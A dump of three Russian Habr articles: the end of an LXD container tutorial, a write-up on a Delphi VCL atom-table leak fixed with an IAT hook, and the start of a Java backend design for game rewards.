lxc profile device add default eth0 nic network=lxdbr0 name=eth0
```
Важно отметить, что так как мы фактически добавили устройство в профиль конфигурации, то если бы мы указали в устройстве статический IP адрес, то все контейнеры которые будут применять этот профиль разделят один и тот же IP адрес. Если есть необходимость создать контейнер с выделенным для контейнера статическим IP адресом, тогда следует создать конфигурацию сетевого устройства на уровне контейнера (локальная конфигурация) с параметром IP адреса, а не на уровне профиля.
Проверим профиль:
```
lxc profile show default
config: {}
description: Default LXD profile
devices:
eth0:
name: eth0
network: lxdbr0
type: nic
root:
path: /
pool: ssdpool
type: disk
name: default
used_by: []
```
В этом профиле мы можем увидеть, что для всех вновь создаваемых контейнеров будут созданы два устройства (devices):
* `eth0` — Устройство типа `nic` слинкованное с коммутатором (сетевым мостом) `lxdbr0`
* `root` — Устройство типа `disk` которое использует пул хранилища `ssdpool`
### Создание новых профилей [^](#navigaciya)
Для использования ранее созданных *Storage Pool* контейнерами, создадим профиль конфигурации `ssdroot` в котором добавим устройство типа `disk` с точкой монтирования `/` (root) использующее ранее созданное *Storage Pool* — `ssdpool`:
```
lxc profile create ssdroot
lxc profile device add ssdroot root disk path=/ pool=ssdpool
```
Аналогично, создаем устройство типа `disk`, но в этом случае использующее *Storage Pool* — `hddpool`:
```
lxc profile create hddroot
lxc profile device add hddroot root disk path=/ pool=hddpool
```
Проверяем профили конфигурации:
```
lxc profile show ssdroot
config: {}
description: ""
devices:
root:
path: /
pool: ssdpool
type: disk
name: ssdroot
used_by: []
```
```
lxc profile show hddroot
config: {}
description: ""
devices:
root:
path: /
pool: hddpool
type: disk
name: hddroot
used_by: []
```
Репозиторий образов [^](#navigaciya)
------------------------------------
Контейнеры создаются из образов которые являются специально собранными дистрибутивами не имеющие ядра Linux. Поэтому, прежде чем запустить контейнер, он должен быть развернут из этого образа. Источником образов служит локальный репозиторий в который образы загружаются из внешних репозиториев.
### Удаленные репозитории образов [^](#navigaciya)
По умолчанию LXD настроен на получение образов из трёх удаленных источников:
* **ubuntu:** (for stable Ubuntu images)
* **ubuntu-daily:** (for daily Ubuntu images)
* **images:** (for a bunch of other distros)
```
lxc remote list
+-----------------+------------------------------------------+--------+--------+
| NAME | URL | PUBLIC | STATIC |
+-----------------+------------------------------------------+--------+--------+
| images | https://images.linuxcontainers.org | YES | NO |
+-----------------+------------------------------------------+--------+--------+
| local (default) | unix:// | NO | YES |
+-----------------+------------------------------------------+--------+--------+
| ubuntu | https://cloud-images.ubuntu.com/releases | YES | YES |
+-----------------+------------------------------------------+--------+--------+
| ubuntu-daily | https://cloud-images.ubuntu.com/daily | YES | YES |
+-----------------+------------------------------------------+--------+--------+
```
Например, репозиторий `ubuntu:` имеет следующие образы:
```
lxc image -c dasut list ubuntu: | head -n 11
+----------------------------------------------+--------------+----------+------------+
| DESCRIPTION | ARCHITECTURE | SIZE | TYPE |
+----------------------------------------------+--------------+----------+------------+
| ubuntu 12.04 LTS amd64 (release) (20150728) | x86_64 | 153.72MB | CONTAINER |
+----------------------------------------------+--------------+----------+------------+
| ubuntu 12.04 LTS amd64 (release) (20150819) | x86_64 | 152.91MB | CONTAINER |
+----------------------------------------------+--------------+----------+------------+
| ubuntu 12.04 LTS amd64 (release) (20150906) | x86_64 | 154.69MB | CONTAINER |
+----------------------------------------------+--------------+----------+------------+
| ubuntu 12.04 LTS amd64 (release) (20150930) | x86_64 | 153.86MB | CONTAINER |
+----------------------------------------------+--------------+----------+------------+
```
Чтобы вывести ограниченное количество колонок мы использовали опцию `-c` с параметрами `dasut`, а также ограничили длину списка командой `head`.
Для вывода списка образов доступна фильтрация. Следующая команда выведет список всех доступных архитектур дистрибутива [AlpineLinux](https://alpinelinux.org/):
```
lxc image -c ldast list images:alpine/3.11
+------------------------------+--------------------------------------+--------------+
| ALIAS | DESCRIPTION | ARCHITECTURE |
+------------------------------+--------------------------------------+--------------+
| alpine/3.11 (3 more) | Alpine 3.11 amd64 (20200220_13:00) | x86_64 |
+------------------------------+--------------------------------------+--------------+
| alpine/3.11/arm64 (1 more) | Alpine 3.11 arm64 (20200220_13:00) | aarch64 |
+------------------------------+--------------------------------------+--------------+
| alpine/3.11/armhf (1 more) | Alpine 3.11 armhf (20200220_13:00) | armv7l |
+------------------------------+--------------------------------------+--------------+
| alpine/3.11/i386 (1 more) | Alpine 3.11 i386 (20200220_13:01) | i686 |
+------------------------------+--------------------------------------+--------------+
| alpine/3.11/ppc64el (1 more) | Alpine 3.11 ppc64el (20200220_13:00) | ppc64le |
+------------------------------+--------------------------------------+--------------+
| alpine/3.11/s390x (1 more) | Alpine 3.11 s390x (20200220_13:00) | s390x |
+------------------------------+--------------------------------------+--------------+
```
### Локальный репозиторий образов [^](#navigaciya)
Для начала эксплуатации контейнера необходимо добавить образ из глобального репозитория в локальный `local:`. Сейчас локальный репозиторий пуст, убедится в этом нам даст команда `lxc image list`. Если методу `list` не указать репозиторий, то по умолчанию будет использоваться локальный репозиторий — `local:`
```
lxc image list local:
+-------+-------------+--------+-------------+--------------+------+------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE |
+-------+-------------+--------+-------------+--------------+------+------+
```
Управление образами в репозитории производится следующими методами:
| Команда | Описание |
| --- | --- |
| lxc image **alias** | Manage image aliases |
| lxc image **copy** | Copy images between servers |
| lxc image **delete** | Delete images |
| lxc image **edit** | Edit image properties |
| lxc image **export** | Export and download images |
| lxc image **import** | Import images into the image store |
| lxc image **info** | Show useful information about images |
| lxc image **list** | List images |
| lxc image **refresh** | Refresh images |
| lxc image **show** | Show image properties |
Копируем образ в локальный репозиторий из глобального `images:`:
```
lxc image copy images:alpine/3.11/amd64 local: --alias=alpine3
Image copied successfully!
```
Выведем список всех образов доступных сейчас в локальном репозитории `local:`:
```
lxc image -c lfdatsu list local:
+---------+--------------+------------------------------------+--------------+
| ALIAS | FINGERPRINT | DESCRIPTION | ARCHITECTURE |
+---------+--------------+------------------------------------+--------------+
| alpine3 | 73a3093d4a5c | Alpine 3.11 amd64 (20200220_13:00) | x86_64 |
+---------+--------------+------------------------------------+--------------+
```
Конфигурация LXD [^](#navigaciya)
---------------------------------
Кроме интерактивного режима, LXD поддерживает также неинтерактивный режим установки конфигурации, это когда конфигурация задается в виде YAML-файла, специального формата, который позволяет установить всю конфигурацию за один раз, минуя выполнения множества интерактивных команд которые были рассмотрены выше в этой статье, в том числе конфигурацию сети, создание профилей конфигурации и т.д. Здесь мы не будем рассматривать эту область, вы можете самостоятельно ознакомится с этим [в документации](https://linuxcontainers.org/lxd/docs/master/preseed).
Следующая интерактивная команда `lxc config` которую мы рассмотрим, позволяет устанавливать конфигурацию. Например, для того, чтобы загруженные образы в локальный репозиторий не обновлялись автоматически из глобальных репозиториев, мы можем включить это поведение следующей командой:
```
lxc config set images.auto_update_cached=false
```
Создание и управление контейнером [^](#navigaciya)
==================================================
Для создания контейнера служит команда `lxc init` которой передаются значения `репозиторий:образ` и затем желаемый идентификатор для контейнера. Репозиторий может быть указан как локальный `local:` так и любой глобальный. Если репозиторий не указан, то по умолчанию, для поиска образа используется локальный репозиторий. Если образ указан из глобального репозитория, то в начале образ будет загружен в локальный репозиторий, а затем использован для создания контейнера.
Выполним следующую команду чтобы создать наш первый контейнер:
```
lxc init alpine3 alp --storage=hddpool --profile=default --profile=hddroot
```
Разберем по порядку ключи команды которые мы здесь используем:
* `alpine3` — Указывается альяс (псевдоним) для образа который ранее был загружен в локальный репозиторий. Если бы альяс был не создан для этого образа, то всегда можно сослаться на образ по его *Fingerprint* который выводится в таблице.
* `alp` — Задаётся идентификатор для контейнера
* `--storage` — Этот ключ указывает в каком *Storage Pool* будет создан контейнер, однако в нашем случае, этот ключ не обязательно указывать, так как профиль конфигурации `hddroot` который мы создали ранее, уже имеет конфигурацию которая использует `hddpool`, в этом можно убедится посмотрев информацию из команды `lxc profile show hddroot`
* `--profile` — Эти ключи каскадно применяют к контейнеру конфигурацию из ранее созданных профилей конфигурации
Запускаем контейнер, который начинает запускать init-систему дистрибутива:
```
lxc start alp
```
Также, можно воспользоваться командой `lxc launch` которая позволяет объединить команды `lxc init` и `lxc start` в одну операцию.
Проверяем состояние контейнера:
```
lxc list -c ns46tb
+------+---------+------------------+------+-----------+--------------+
| NAME | STATE | IPV4 | IPV6 | TYPE | STORAGE POOL |
+------+---------+------------------+------+-----------+--------------+
| alp | RUNNING | 10.0.5.46 (eth0) | | CONTAINER | hddpool |
+------+---------+------------------+------+-----------+--------------+
```
Проверяем конфигурацию контейнера:
```
lxc config show alp
architecture: x86_64
config:
image.architecture: amd64
image.description: Alpine 3.11 amd64 (20200326_13:39)
image.os: Alpine
image.release: "3.11"
image.serial: "20200326_13:39"
image.type: squashfs
volatile.base_image: ebd565585223487526ddb3607f5156e875c15a89e21b61ef004132196da6a0a3
volatile.eth0.host_name: vethb1fe71d8
volatile.eth0.hwaddr: 00:16:3e:5f:73:3e
volatile.idmap.base: "0"
volatile.idmap.current: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.idmap.next: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.last_state.idmap: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.last_state.power: RUNNING
devices:
root:
path: /
pool: hddpool
type: disk
ephemeral: false
profiles:
- default
- hddroot
stateful: false
description: ""
```
В секции `profiles` мы можем убедиться, что этот контейнер использует два профиля конфигурации — `default` и `hddroot`. В секции `devices` мы можем обнаружить только одно устройство, так как сетевое устройство было создано на уровне профиля `default`. Для того, чтобы увидеть все устройства используемые контейнером необходимо добавить ключ `--expanded`:
```
lxc config show alp --expanded
architecture: x86_64
config:
image.architecture: amd64
image.description: Alpine 3.11 amd64 (20200326_13:39)
image.os: Alpine
image.release: "3.11"
image.serial: "20200326_13:39"
image.type: squashfs
volatile.base_image: ebd565585223487526ddb3607f5156e875c15a89e21b61ef004132196da6a0a3
volatile.eth0.host_name: vethb1fe71d8
volatile.eth0.hwaddr: 00:16:3e:5f:73:3e
volatile.idmap.base: "0"
volatile.idmap.current: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.idmap.next: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.last_state.idmap: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.last_state.power: RUNNING
devices:
eth0:
name: eth0
network: lxdbr0
type: nic
root:
path: /
pool: hddpool
type: disk
ephemeral: false
profiles:
- default
- hddroot
stateful: false
description: ""
```
Установка статического IP адреса [^](#navigaciya)
-------------------------------------------------
Если мы попытаемся установить IP адрес для сетевого устройства `eth0` командой `lxc config device set alp` предназначенной для конфигурации контейнера, то мы получим ошибку которая сообщит, что устройство не существует потому что устройство `eth0` которое используется контейнером принадлежит профилю `default`:
```
lxc config device set alp eth0 ipv4.address 10.0.5.5
Error: The device doesn't exist
```
Мы можем конечно установить статический IP адрес для `eth0` устройства в профиле, но он будет един для всех контейнеров которые этот профиль будут использовать. Поэтому, добавим выделенное для контейнера устройство:
```
lxc config device add alp eth0 nic name=eth0 nictype=bridged parent=lxdbr0 ipv4.address=10.0.5.5
```
В [новых версиях LXD 3.21](https://discuss.linuxcontainers.org/t/lxd-3-21-has-been-released/6802) и выше доступна улучшенная команда создания интерфейса для сетевого моста (bridge network), сейчас можно просто указать значение параметра `network`, исключив указание значений для `nictype` и `parent`:
```
lxc config device add alp eth0 nic name=eth0 network=lxdbr0 ipv4.address=10.0.5.5
```
Затем следует рестартовать контейнер:
```
lxc restart alp
```
Если мы сейчас посмотрим на конфигурацию контейнера, то нам не нужно применять опцию `--expanded` чтобы увидеть сетевое устройство `eth0`, так как мы создали его на уровне контейнера и оно каскадно перекрыло это же устройство из профиля `default`:
```
lxc config show alp
architecture: x86_64
config:
image.architecture: amd64
image.description: Alpine 3.11 amd64 (20200326_13:39)
image.os: Alpine
image.release: "3.11"
image.serial: "20200326_13:39"
image.type: squashfs
volatile.base_image: ebd565585223487526ddb3607f5156e875c15a89e21b61ef004132196da6a0a3
volatile.eth0.host_name: veth2a1dc59d
volatile.eth0.hwaddr: 00:16:3e:0e:e2:71
volatile.idmap.base: "0"
volatile.idmap.current: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.idmap.next: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.last_state.idmap: '[{"Isuid":true,"Isgid":false,"Hostid":1000000,"Nsid":0,"Maprange":65536},{"Isuid":false,"Isgid":true,"Hostid":1000000,"Nsid":0,"Maprange":65536}]'
volatile.last_state.power: RUNNING
devices:
eth0:
ipv4.address: 10.0.5.5
name: eth0
nictype: bridged
parent: lxdbr0
type: nic
root:
path: /
pool: hddpool
type: disk
ephemeral: false
profiles:
- default
- hddroot
stateful: false
description: ""
```
Доступ к контейнеру [^](#navigaciya)
------------------------------------
Для выполнения команд в контейнере, напрямую, минуя сетевые соединения, служит команда `lxc exec` которая выполняет команды в контейнере без запуска системной оболочки. Если вам нужно выполнить команду в оболочке, используя shell паттерны, такие как переменные, файловые перенаправления (pipe) и т.д., то необходимо явно запускать оболочку и передавать команду в качестве ключа, например:
```
lxc exec alp -- /bin/sh -c "echo \$HOME"
```
В команде был задействован спецсимвол экранирования `\` для спецсимвола `$` чтобы переменная `$HOME` не интерпретировалась на хостовой машине, а была интерпретирована только внутри контейнера.
Также, возможно запустить интерактивный режим оболочки, а после завершить сеанс выполнив hotkey `CTRL+D`:
```
lxc exec alp -- /bin/sh
```
Управление ресурсами контейнера [^](#navigaciya)
------------------------------------------------
В LXD можно управлять ресурсами контейнера при помощи специального набора конфигурации. Полный список конфигурационных параметров контейнера можно найти [в документации](https://linuxcontainers.org/lxd/docs/master/instances#key/value-configuration).
### Ограничение ресурсов RAM (ОЗУ) [^](#navigaciya)
Параметр `limits.memory` ограничивает объём RAM доступный для контейнера. В качестве значения указывается число и один из [доступных суффиксов](https://linuxcontainers.org/lxd/docs/master/instances#units-for-storage-and-network-limits).
Зададим контейнеру ограничение на объём RAM равный 256 MB:
```
lxc config set alp limits.memory 256MB
```
Также, существуют другие параметры для ограничения памяти:
* `limits.memory.enforce`
* `limits.memory.hugepages`
* `limits.memory.swap`
* `limits.memory.swap.priority`
Команда `lxc config show` позволяет вывести на экран всю конфигурацию контейнера, в том числе примененное ограничение ресурсов которое было установлено:
```
lxc config show alp
architecture: x86_64
config:
image.architecture: amd64
image.description: Alpine 3.11 amd64 (20200220_13:00)
image.os: Alpine
image.release: "3.11"
image.serial: "20200220_13:00"
image.type: squashfs
limits.memory: 256MB
volatile.base_image: 73a3093d4a5ce0148fd84b95369b3fbecd19a537ddfd2e2d20caa2eef0e8fd60
volatile.eth0.host_name: veth75b6df07
volatile.eth0.hwaddr: 00:16:3e:a1:e7:46
volatile.idmap.base: "0"
volatile.idmap.current: '[]'
volatile.idmap.next: '[]'
volatile.last_state.idmap: '[]'
volatile.last_state.power: RUNNING
devices: {}
ephemeral: false
profiles:
- default
stateful: false
description: ""
```
### Ограничение ресурсов CPU (ЦП) [^](#navigaciya)
Для ограничения ресурсов ЦП существует несколько [типов ограничений](https://linuxcontainers.org/lxd/docs/master/instances#cpu-limits):
* `limit.cpu` — привязывает контейнер к одному или нескольким ядрам ЦП
* `limits.cpu.allowance` — управляет либо квотами планировщика CFS, когда прошло ограничение по времени, либо универсальным механизмом совместного использования ресурсов CPU, когда прошло процентное значение
* `limits.cpu.priority` — приоритет планировщика, когда для нескольких экземпляров, совместно использующих набор процессоров, назначен одинаковый процент процессоров
```
lxc config set alp limits.cpu.allowance 40%
```
```
lxc config show alp
architecture: x86_64
config:
image.architecture: amd64
image.description: Alpine 3.11 amd64 (20200220_13:00)
image.os: Alpine
image.release: "3.11"
image.serial: "20200220_13:00"
image.type: squashfs
limits.cpu.allowance: 40%
limits.memory: 256MB
volatile.base_image: 73a3093d4a5ce0148fd84b95369b3fbecd19a537ddfd2e2d20caa2eef0e8fd60
volatile.eth0.host_name: veth75b6df07
volatile.eth0.hwaddr: 00:16:3e:a1:e7:46
volatile.idmap.base: "0"
volatile.idmap.current: '[]'
volatile.idmap.next: '[]'
volatile.last_state.idmap: '[]'
volatile.last_state.power: RUNNING
devices: {}
ephemeral: false
profiles:
- default
stateful: false
description: ""
```
### Ограничение дискового пространства [^](#navigaciya)
Кроме ограничений таких как `limits.read`, `limits.write` мы также можем ограничить объём потребления контейнером дискового пространства (работает только с ZFS или BTRFS):
```
lxc config device set alp root size=2GB
```
После установки, в параметре `devices.root.size` мы можем убедится в установленном ограничении:
```
lxc config show alp
...
devices:
root:
path: /
pool: hddpool
size: 2GB
type: disk
ephemeral: false
profiles:
- default
- hddroot
stateful: false
description: ""
```
Для просмотра используемых квот на диск мы можем получить из команды `lxc info`:
```
lxc info alp
...
Resources:
Processes: 5
Disk usage:
root: 1.05GB
CPU usage:
CPU usage (in seconds): 1
Memory usage:
Memory (current): 5.46MB
Network usage:
eth0:
Bytes received: 802B
Bytes sent: 1.59kB
Packets received: 4
Packets sent: 14
lo:
Bytes received: 0B
Bytes sent: 0B
Packets received: 0
Packets sent: 0
```
Не смотря на то, что мы установили ограничение для корневого устройства контейнера в 2GB, системные утилиты такие как `df` не будут видеть это ограничение. Для этого мы проведем небольшой тест и выясним как это работает.
Создадим 2 новых одинаковых контейнера в одном и том же *Storage Pool* (hddpool):
```
lxc init alpine3 alp1 --storage=hddpool --profile=default --profile=hddroot
lxc init alpine3 alp2 --storage=hddpool --profile=default --profile=hddroot
```
```
lxc list
+------+---------+------------------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+------------------+------+-----------+-----------+
| alp1 | RUNNING | 10.0.5.46 (eth0) | | CONTAINER | 0 |
+------+---------+------------------+------+-----------+-----------+
| alp2 | RUNNING | 10.0.5.30 (eth0) | | CONTAINER | 0 |
+------+---------+------------------+------+-----------+-----------+
```
В одном из контейнеров создадим файл размером 1GB:
```
lxc exec alp1 -- dd if=/dev/urandom of=file.img bs=1M count=1000
```
Убедимся, что файл создан:
```
lxc exec alp1 -- ls -lh
total 1000M
-rw-r--r-- 1 root root 1000.0M Mar 27 10:16 file.img
```
Если мы посмотрим во втором контейнере, проверим существование файла в том же самом месте, то этого файла не будет, что ожидаемо, так как контейнеры создаются в своих собственных *Storage Volume* в этом же *Storage Pool*:
```
lxc exec alp2 -- ls -lh
total 0
```
Но давайте сравним значения которые выдает `df` на одном и другом контейнерах:
```
lxc exec alp1 -- df -hT
Filesystem Type Size Used Available Use% Mounted on
/dev/loop1 btrfs 9.3G 1016.4M 7.8G 11% /
...
```
```
lxc exec alp2 -- df -hT
Filesystem Type Size Used Available Use% Mounted on
/dev/loop1 btrfs 9.3G 1016.4M 7.8G 11% /
...
```
Устройство `/dev/loop1` смонтированное как корневой раздел является *Storage Pool* которое эти контейнеры используют, поэтому они разделяют его объём на двоих.
### Статистика потребления ресурсов [^](#navigaciya)
Просмотреть статистику потребления ресурсов для контейнера можно с помощью команды:
```
lxc info alp
Name: alp
Location: none
Remote: unix://
Architecture: x86_64
Created: 2020/04/08 18:05 UTC
Status: Running
Type: container
Profiles: default, hddroot
Pid: 19219
Ips:
eth0: inet 10.0.5.5 veth2a1dc59d
eth0: inet6 fe80::216:3eff:fe0e:e271 veth2a1dc59d
lo: inet 127.0.0.1
lo: inet6 ::1
Resources:
Processes: 5
Disk usage:
root: 495.62kB
CPU usage:
CPU usage (in seconds): 1
Memory usage:
Memory (current): 4.79MB
Network usage:
eth0:
Bytes received: 730B
Bytes sent: 1.59kB
Packets received: 3
Packets sent: 14
lo:
Bytes received: 0B
Bytes sent: 0B
Packets received: 0
Packets sent: 0
```
Работа со снепшотами [^](#navigaciya)
-------------------------------------
В LXD имеется возможность создания снепшотов и восстановления из них состояния контейнера.
Чтобы создать снепшот, выполните следующую команду:
```
lxc snapshot alp snapshot1
```
У команды `lxc snapshot` не имеется ключа `list`, поэтому, чтобы просмотреть список снепшотов нужно воспользоваться командой выводящей общую информацию о контейнере:
```
lxc info alp
...
...
Snapshots:
snapshot1 (taken at 2020/04/08 18:18 UTC) (stateless)
```
Восстановить контейнер из снепшота можно командой `lxc restore` указав контейнер для которого будет произведено восстановление и псевдоним снепшота:
```
lxc restore alp snapshot1
```
Следующая команда служит для удаления снепшота. Обратите внимание, что синтаксис команды не похож на все остальные, здесь необходимо указать прямой слеш после имени контейнера. Если слеш опустить, то команда удаления снепшота интерпретируется как команда удаления контейнера!
```
lxc delete alp/snapshot1
```
В приведённом выше примере мы рассмотрели так называемые stateless-снепшоты. В LXD есть и другой тип снепшотов — stateful, в которых сохраняется текущее состояние всех процессов в контейнере. Со stateful-снепшотами связаны ряд интересных и полезных функций.
Удаление контейнера [^](#navigaciya)
------------------------------------
Для удаления контейнера служит команда `lxc delete`, но прежде чем удалить контейнер, он должен быть остановлен с помощью команды `lxc stop`:
```
lxc stop alp
```
```
lxc list
+------+---------+-------------------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+-------------------+------+-----------+-----------+
| alp | STOPPED | 10.0.5.10 (eth0) | | CONTAINER | 0 |
+------+---------+-------------------+------+-----------+-----------+
```
После того как мы убедились, что состояние контейнера стало *STOPPED*, его можно удалить из *Storage Pool*:
```
lxc delete alp
```
Экспорт контейнеров [^](#navigaciya)
------------------------------------
Чтобы вы не утратили плоды своих трудов в контейнерах, в LXD предусмотрена команда экспорта контейнера:
```
lxc export alp /backups/alp.tar.gz --instance-only
```
Что ещё? [^](#navigaciya)
=========================
* Вы можете подняться на следующий уровень [запустив Jupyter на орбиту LXD](https://habr.com/ru/post/497100/)
* Для Python разработчиков доступен модуль [PyLXD](https://pylxd.readthedocs.io) который предоставляет API к LXD
---
UPDATE 10.04.2020 15:00: Добавил навигацию
UPDATE 11.04.2020 06:00: Исправил ошибки в тексте благодаря ребятам отписавшимся в личку. Спасибо огромное!
UPDATE 11.04.2020 07:30: Добавил информацию в раздел "Инсталляция LXD"
UPDATE 11.04.2020 08:40: Немного реорганизовал разделы, подправил и дополнил текст
UPDATE 14.04.2020 16:10: Добавил информацию о экспорте контейнеров | https://habr.com/ru/post/496492/ | null | ru | null |
# Еще раз об утечке атомов и баге VCL
##### Введение
Просматривая ленту, наткнулся на статью [Неправильное использование атомов и трудноуловимая бага в VCL](http://habrahabr.ru/post/217189/). После прочтения возникла мысль описать еще одну проблему в той же самой области, о которой не рассказано в этой статье. Наша команда натолкнулась на нее самостоятельно, потом оказалось, что это уже известный баг VCL. Разработка ведется на Delphi 7, и я не уверен, существует ли ошибка в более новых версиях. Судя по приведенным чуть ниже ссылкам, есть, как есть и исправление. На исправление версии 7 надеяться, по понятным причинам, не приходится.
В статье [MrShoor](https://habrahabr.ru/users/mrshoor/) описывается переполнение т.н. таблицы атомов в случае, если приложение на Delphi завершено некорректно, и некоторые атомы не удаляются. Оказывается, для переполнения таблицы атомов вовсе необязательно «убивать насильно» ваше приложение. Вполне достаточно его запустить и корректно закрыть, но много-много раз подряд.
Давайте посмотрим, как это происходит:
##### Описание механизма переполнения
После получения очередной жалобы а-ля «out of memory», мы обнаружили, что таблица атомов забита элементами вида ControlOfs<шестнадцатеричный ID>. Эти элементы появляются при запуске каждого приложения (а наш сервер приложений запускает экземпляры по одному для каждого содинения), и остаются в таблице навсегда.
Рассмотрим еще раз участок кода из InitControls в Controls.pas — тот же самый, что и в упомянутой выше статье:
```
WindowAtomString := Format('Delphi%.8X',[GetCurrentProcessID]);
WindowAtom := GlobalAddAtom(PChar(WindowAtomStrinjg));
ControlAtomString := Format('ControlOfs%.8X%.8X', [HInstance, GetCurrentThreadID]);
ControlAtom := GlobalAddAtom(PChar(ControlAtomString));
RM_GetObjectInstance := RegisterWindowMessage(PChar(ControlAtomString));
```
Самая последня строка, как казалось, тоже создает атом. При регистрации нового типа сообщения также в таблицу добавляется новый атом, который каждый раз имеет новое имя. Проблема в том, что RegisterWindowsMessage [см. MSDN](http://msdn.microsoft.com/en-us/library/windows/desktop/ms644947%28v=vs.85%29.aspx) в принципе не предполагает обратного unregister действия, т.к. данная функция позволяет нескольким программам использовать некоторый Message ID совместно:
> The RegisterWindowMessage function is typically used to register messages for communicating between two cooperating applications.
>
>
>
> If two different applications register the same message string, the applications return the same message value. The message remains registered until the session ends.
Это уже серьезно, т.к. у нас нет никаких рычагов влияния на ситуацию. Закрыть такой атом сторонним приложением невозможно — программа, предложенная в статье, побудившей меня к написанию данного поста, здесь бессильна. Так как таблица атомов имеет корни в 16 битной эпохе, что налагает ограничение на размер таблицы, то этот досадный баг довольно быстро выводил серверную часть из строя, т.к. не было возможности запустить ни одно Delphi приложение без перезагрузки системы.
Вот пример того, как выглядит таблица атомов после 20 итераций «нормальный запуск-корректное завершение» для простой программы из 1 окна:
Красным выделены те атомы, что остались как раз после 20 запусков.
Эта ошибка была описана в нескольких местах, например:
[Детальное описание ошибки](http://qc.embarcadero.com/wc/qcmain.aspx?d=90511)
[Более краткий bug report](http://qc.embarcadero.com/wc/qcmain.aspx?d=100600)
Ну, и конечно же, [Stack Overflow](http://stackoverflow.com/questions/507853/system-error-code-8-not-enough-storage-is-available-to-process-this-command/9066509#9066509)
##### Метод решения
Поскольку удалить атом пост-фактум нельзя, требуется не допустить его создания. Наша команда пошла по пути IAT хука, который перехватывает вызов к RegisterWindowMessageA и в случае, если регистрируется сообщение с именем вида ControlOfs<что-то там>, вместо него регистрируется любой другой идентификатор, который одинаков для всех приложений. Как оказалось, ему вовсе не обязательно было быть уникальным, на что также указывается в [баг репорте, на который я уже ссылался](http://qc.embarcadero.com/wc/qcmain.aspx?d=90511).
Код хука тривиален, как и механизм установки его. Более того, в интернете есть готовые библиотеки для Delphi для хуков на IAT. Сам хук всего навсего проверяет максимально быстрым способом, не соответствует ли регистрируемое сообщение префиксу ControlOfs, и, в случае, если соответствует, происходит подмена на RM\_GetObjectInstance — подобный идентификатор, одинаковый для всех приложений, с вызовом оригинальной RegisterWindowMessage.
Надеюсь, кому-то это поможет избежать долгой и трудной отладки. | https://habr.com/ru/post/217333/ | null | ru | null |
# Награды в играх. Вариант backend реализации
Я продолжаю развивать механику сундуков и того, как гейм дизайнеры будут их заводить и создавать. [В прошлой статье мы говорили о идее того, как можно реализовать награды и сундуки, так что бы в будущем можно было удобно добавлять новые типы наград и расширять систему](https://habr.com/en/post/568220/). Мы не будем рассматривать пока экономику игры и то как сделать сундуки покупаемыми и как правильно балансить и рандомить их.
В данной статье мы пройдемся уже по примерам кода и попробуем написать рабочий прототип - от заведения награды гейм дизайнером, до выдачи этой награды в игре. Будет много примеров кода, и мне очень хотелось бы получить фидбэк от тех кто дочитает до конца. [Можно посмотреть примеры кода в GitHub.](https://github.com/deft1991/petproject/tree/master/reward)
Ну что ж приступим. Для начала создадим таблицу “Награда” в нашей системе. Это корневая таблица в которой будут храниться все игровые награды. И нам конечно потребуется “энтити” к этой таблице. Ниже приведен код базовой сущности.
```
@Getter
@Setter
@Entity(name = "reward")
@Inheritance(strategy = InheritanceType.SINGLE_TABLE)
@DiscriminatorColumn(name = "type",
discriminatorType = DiscriminatorType.STRING)
@DynamicUpdate
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE, include = "non-lazy")
public abstract class Reward implements GameItem {
/**
* Идентификатор сущности
*/
@Id
@GeneratedValue(
strategy = GenerationType.SEQUENCE,
generator = "seq_reward"
)
@SequenceGenerator(
name = "seq_reward",
allocationSize = 1
)
@Column(name = "id", nullable = false, length = 36, unique = true)
private Long id;
@Column(name = "alias", length = 255)
private String alias; // short description
@Column(name = "min_count")
private Integer minCount = 0; // it is diff card count for card reward, can be null for some rewards
@Column(name = "max_count")
private Integer maxCount = 0; // it is diff card count for card reward, can be null for some rewards
```
 И создадим более конкретную награду "золото" ("GOLD").
```
@Entity
@DiscriminatorValue("GOLD")
@NoArgsConstructor
public class GoldReward extends Reward {
/**
* Generate gold currency for profile
*/
@Override
public List rewardFor(Profile profile, ContentGenerator contentGenerator) {
int count = contentGenerator.generateCount(this.getMinCount(), this.getMaxCount(), this.getCount());
return List.of(new GoldCurrency(profile, count));
}
@Override
public RewardType getType() {
return RewardType.GOLD;
}
```
Можно заметить что GoldReward возвращает тип RewardType.GOLD. Это enum всех типов наград. В целом это может быть строка, чтобы в будущем небыли проблем с расширением этого класса.
```
public interface GameItem {
List rewardFor(Profile profile, ContentGenerator contentGenerator);
}
```
```
INSERT INTO reward (id, alias, type, min_count, max_count)
VALUES (1, 'Золото немного', 'GOLD', 30, 60);
INSERT INTO reward (id, alias, type, min_count, max_count)
VALUES (2, 'Золото среднее', 'GOLD', 100, 200);
INSERT INTO reward (id, alias, type, min_count, max_count)
